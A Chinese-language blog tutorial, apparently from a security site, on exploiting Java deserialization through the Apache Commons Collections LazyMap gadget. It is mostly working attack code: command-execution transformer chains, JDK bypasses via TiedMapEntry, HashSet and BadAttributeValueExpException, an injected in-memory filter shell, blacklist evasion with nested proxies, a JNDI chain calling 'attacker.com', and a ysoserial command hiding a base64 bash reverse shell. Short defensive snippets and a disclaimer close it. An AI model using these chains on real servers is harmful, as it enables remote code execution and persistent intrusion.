一、LazyMap核心机制
LazyMap是Apache Commons Collections中实现延迟加载的特殊Map实现类,其核心逻辑在于当访问不存在的Key时,会触发Transformer
转换器:
// 源码关键逻辑
public class LazyMap extends AbstractMapDecorator {
private final Transformer factory;
public Object get(Object key) {
if (!map.containsKey(key)) { // 当Key不存在时
Object value = factory.transform(key); // 触发转换器
map.put(key, value);
return value;
}
return map.get(key);
}
}
二、经典攻击链构造(CC1)
1. 基础利用代码
// 构造命令执行链
Transformer[] transformers = new Transformer[]{
new ConstantTransformer(Runtime.class),
new InvokerTransformer("getMethod",
new Class[]{String.class, Class[].class},
new Object[]{"getRuntime", new Class[0]}),
new InvokerTransformer("invoke",
new Class[]{Object.class, Object[].class},
new Object[]{null, new Object[0]}),
new InvokerTransformer("exec",
new Class[]{String.class},
new Object[]{"calc.exe"})
};
ChainedTransformer chain = new ChainedTransformer(transformers);
// 创建LazyMap实例
Map lazyMap = LazyMap.decorate(new HashMap(), chain);
// 通过动态代理触发
Map proxyMap = (Map) Proxy.newProxyInstance(
Map.class.getClassLoader(),
new Class[]{Map.class},
new InvocationHandler() {
public Object invoke(Object proxy, Method method, Object[] args) {
return method.invoke(lazyMap, args);
}
}
);
// 序列化触发
ByteArrayOutputStream bos = new ByteArrayOutputStream();
new ObjectOutputStream(bos).writeObject(proxyMap);
byte[] payload = bos.toByteArray();
// 反序列化触发漏洞
new ObjectInputStream(new ByteArrayInputStream(payload)).readObject();
触发原理:
-
反序列化
proxyMap
时触发InvocationHandler.invoke()
-
调用
LazyMap.get()
方法 -
执行
ChainedTransformer.transform()
链式调用
三、绕过技巧
1. JDK 8u71+ 绕过(结合TiedMapEntry)
// 构造增强版攻击链
Map lazyMap = LazyMap.decorate(new HashMap(), chain);
TiedMapEntry entry = new TiedMapEntry(lazyMap, "triggerKey");
// 通过HashSet触发
HashSet hashSet = new HashSet(1);
hashSet.add("foo"); // 初始化HashSet
// 反射修改内部Entry
Field mapField = HashSet.class.getDeclaredField("map");
mapField.setAccessible(true);
HashMap internalMap = (HashMap) mapField.get(hashSet);
Field tableField = HashMap.class.getDeclaredField("table");
tableField.setAccessible(true);
Object[] table = (Object[]) tableField.get(internalMap);
// 修改第一个节点的key
Object node = table[0];
Field keyField = node.getClass().getDeclaredField("key");
keyField.setAccessible(true);
keyField.set(node, entry); // 注入恶意Entry
绕过原理:
-
利用
TiedMapEntry.toString()
自动调用getValue()
-
HashSet
反序列化时自动触发hashCode()
计算
四、内存马注入技巧
1. Web层内存马(Filter型)
Transformer[] memShellChain = new Transformer[]{
new ConstantTransformer(Thread.currentThread().getContextClassLoader()),
new InvokerTransformer("loadClass",
new Class[]{String.class},
new Object[]{"javax.servlet.Filter"}),
new InvokerTransformer("getMethod",
new Class[]{String.class, Class[].class},
new Object[]{"addFilter", new Class[]{String.class, Filter.class}}),
new InvokerTransformer("invoke",
new Class[]{Object.class, Object[].class},
new Object[]{null, new Object[]{"evilFilter", new MaliciousFilter()}})
};
Map lazyMap = LazyMap.decorate(new HashMap(), new ChainedTransformer(memShellChain));
2. 字节码驻留技巧
// 使用TemplatesImpl持久化
Transformer[] persistChain = new Transformer[]{
new ConstantTransformer(TemplatesImpl.class),
new InvokerTransformer("newInstance", null, null),
new InvokerTransformer("getOutputProperties", null, null)
};
五、防御对抗艺术
1. 安全反序列化实现
public class SafeObjectInputStream extends ObjectInputStream {
private static final Set<String> ALLOWED_CLASSES =
Set.of("java.lang.String", "java.util.ArrayList");
public SafeObjectInputStream(InputStream in) throws IOException {
super(in);
}
@Override
protected Class<?> resolveClass(ObjectStreamClass desc)
throws IOException, ClassNotFoundException {
String className = desc.getName();
if (!ALLOWED_CLASSES.contains(className)) {
throw new InvalidClassException("Unauthorized class: ", className);
}
return super.resolveClass(desc);
}
}
2. RASP防御示例
// 使用Java Agent拦截关键方法
public class DeserializationAgent {
public static void premain(String args, Instrumentation inst) {
inst.addTransformer((loader, className, classBeingRedefined,
protectionDomain, classfileBuffer) -> {
if (className.equals("java/util/Map")) {
ClassReader cr = new ClassReader(classfileBuffer);
ClassWriter cw = new ClassWriter(cr, ClassWriter.COMPUTE_FRAMES);
ClassVisitor cv = new LazyMapDetector(cw);
cr.accept(cv, 0);
return cw.toByteArray();
}
return classfileBuffer;
});
}
}
// ASM检测逻辑
class LazyMapDetector extends ClassVisitor {
public MethodVisitor visitMethod(int access, String name, String desc,
String signature, String[] exceptions) {
MethodVisitor mv = super.visitMethod(access, name, desc, signature, exceptions);
if (name.equals("get")) {
mv.visitCode();
mv.visitMethodInsn(INVOKESTATIC, "SecurityMonitor", "checkLazyMapAccess");
mv.visitEnd();
}
return mv;
}
}
六、检测与验证
1. 漏洞验证命令
# 使用ysoserial生成payload
java -jar ysoserial.jar CommonsCollections5 "bash -c {echo,YmFzaCAtaSA+JiAvZGV2L3RjcC8xOTIuMTY4LjEuMS84ODg4IDA+JjE=}|{base64,-d}|{bash,-i}" > payload.bin
# 发送到测试环境
curl -X POST --data-binary @payload.bin http://vuln-app/deserialize
2. 代码审计关注点
// 危险调用模式
ObjectInputStream.readObject()
XMLDecoder.readObject()
JSON.parseObject(input, Feature.SupportNonPublicField)
XStream.fromXML(xmlInput) // XStream反序列化
总结与思考
-
攻击本质:利用Java反序列化机制将数据结构转换为代码执行
-
演进趋势:从简单的反射调用到框架特性组合利用
-
防御哲学:
-
输入验证:严格校验反序列化来源
-
权限控制:使用SecurityManager沙箱
-
行为监控:部署RASP实时防御
-
LazyMap的高级利用技巧
一、利用 BadAttributeValueExpException绕过防御
1. 攻击链构造原理
通过BadAttributeValueExpException
的readObject
方法触发TiedMapEntry.toString()
,进而调用LazyMap.get()
。此方法不依赖动态代理机制,适用于高版本 JDK 环境。
// 构造 LazyMap 链
Transformer[] transformers = new Transformer[]{
new ConstantTransformer(Runtime.class),
new InvokerTransformer("getMethod", new Class[]{String.class, Class[].class}, new Object[]{"getRuntime", null}),
new InvokerTransformer("invoke", new Class[]{Object.class, Object[].class}, new Object[]{null, null}),
new InvokerTransformer("exec", new Class[]{String.class}, new Object[]{"calc.exe"})
};
Transformer chain = new ChainedTransformer(transformers);
Map lazyMap = LazyMap.decorate(new HashMap(), chain);
// 构造 TiedMapEntry 并注入恶意对象
TiedMapEntry entry = new TiedMapEntry(lazyMap, "trigger");
BadAttributeValueExpException exp = new BadAttributeValueExpException(null);
// 反射设置 val 属性
Field valField = exp.getClass().getDeclaredField("val");
valField.setAccessible(true);
valField.set(exp, entry);
// 序列化触发
serialize(exp);
关键点:
-
BadAttributeValueExpException
反序列化时会调用val.toString()
,触发TiedMapEntry.getValue()
-
无需动态代理,直接通过异常类的原生机制触发
二、HashSet 内部结构篡改技巧
1. 利用 HashSet 的哈希冲突
通过反射修改HashSet
内部存储结构,注入恶意TiedMapEntry
对象:
HashSet hashSet = new HashSet(1);
hashSet.add("dummy"); // 初始化填充数据
// 反射获取内部 HashMap 的 table 数组
Field mapField = HashSet.class.getDeclaredField("map");
mapField.setAccessible(true);
HashMap internalMap = (HashMap) mapField.get(hashSet);
Field tableField = HashMap.class.getDeclaredField("table");
tableField.setAccessible(true);
Object[] table = (Object[]) tableField.get(internalMap);
// 修改第一个节点的 key 为恶意 Entry
Object node = table[0];
Field keyField = node.getClass().getDeclaredField("key");
keyField.setAccessible(true);
keyField.set(node, entry); // entry 为构造的 TiedMapEntry
绕过原理:
-
利用
HashSet
反序列化时的哈希重建机制触发恶意key.hashCode()
计算 -
适用于绕过对动态代理的检测
三、双重代理嵌套绕过黑名单
1. 多层代理混淆检测
通过嵌套多层代理隐藏真实调用链,绕过基于类名的黑名单过滤:
// 第一层代理:Map → InvocationHandlerA
Map proxyMap1 = (Map) Proxy.newProxyInstance(
Map.class.getClassLoader(),
new Class[]{Map.class},
handler1 // 自定义 InvocationHandler
);
// 第二层代理:InvocationHandlerA → InvocationHandlerB
InvocationHandler handler2 = (InvocationHandler) constructor.newInstance(
Target.class,
proxyMap1
);
// 最终代理对象
Map finalProxy = (Map) Proxy.newProxyInstance(
Map.class.getClassLoader(),
new Class[]{Map.class},
handler2
);
优势:
-
混淆调用链,增加静态分析难度
-
可结合不同接口类型(如
List
、Set
)增强隐蔽性
四、非 Runtime.exec()执行方式
1. 基于类加载的字节码注入
结合TemplatesImpl
加载恶意字节码,避免直接调用敏感方法:
// 生成恶意类字节码
String code = "public class Evil { static { Runtime.getRuntime().exec(\"calc\"); } }";
byte[] bytecode = new JavaCompiler().compile(code);
// 构造 TemplatesImpl 链
TemplatesImpl templates = new TemplatesImpl();
setField(templates, "_bytecodes", new byte[][]{bytecode});
setField(templates, "_name", "Evil");
Transformer[] transformers = new Transformer[]{
new ConstantTransformer(templates),
new InvokerTransformer("newTransformer", null, null)
};
特点:
-
绕过基于
Runtime.exec()
的字符串特征检测 -
利用类初始化静态代码块执行命令
五、JNDI 注入组合攻击
1. 结合 LDAP 协议远程加载类
通过LazyMap
触发 JNDI 查询,实现远程类加载:
Transformer[] jndiChain = new Transformer[]{
new ConstantTransformer(JndiLookup.class),
new InvokerTransformer("lookup",
new Class[]{String.class},
new Object[]{"ldap://attacker.com/Exploit"})
};
利用条件:
-
目标环境需存在 JNDI 注入漏洞(如 Log4j2)
-
绕过本地命令执行检测,转为远程攻击
总结与演进方向
-
攻击趋势:
-
从单一链式调用 → 多技术组合(如 JNDI + 反序列化)
-
从本地命令执行 → 远程代码加载(规避本地特征检测)
-
-
防御策略:
-
启用 SecurityManager 限制反射操作
-
使用 SerialKiller 等安全反序列化库
-
定期更新 Commons Collections 等组件版本
-
4A评测 - 免责申明
本站提供的一切软件、教程和内容信息仅限用于学习和研究目的。
不得将上述内容用于商业或者非法用途,否则一切后果请用户自负。
本站信息来自网络,版权争议与本站无关。您必须在下载后的24个小时之内,从您的电脑或手机中彻底删除上述内容。
如果您喜欢该程序,请支持正版,购买注册,得到更好的正版服务。如有侵权请邮件与我们联系处理。敬请谅解!
程序来源网络,不确保不包含木马病毒等危险内容,请在确保安全的情况下或使用虚拟机使用。
侵权违规投诉邮箱:4ablog168#gmail.com(#换成@)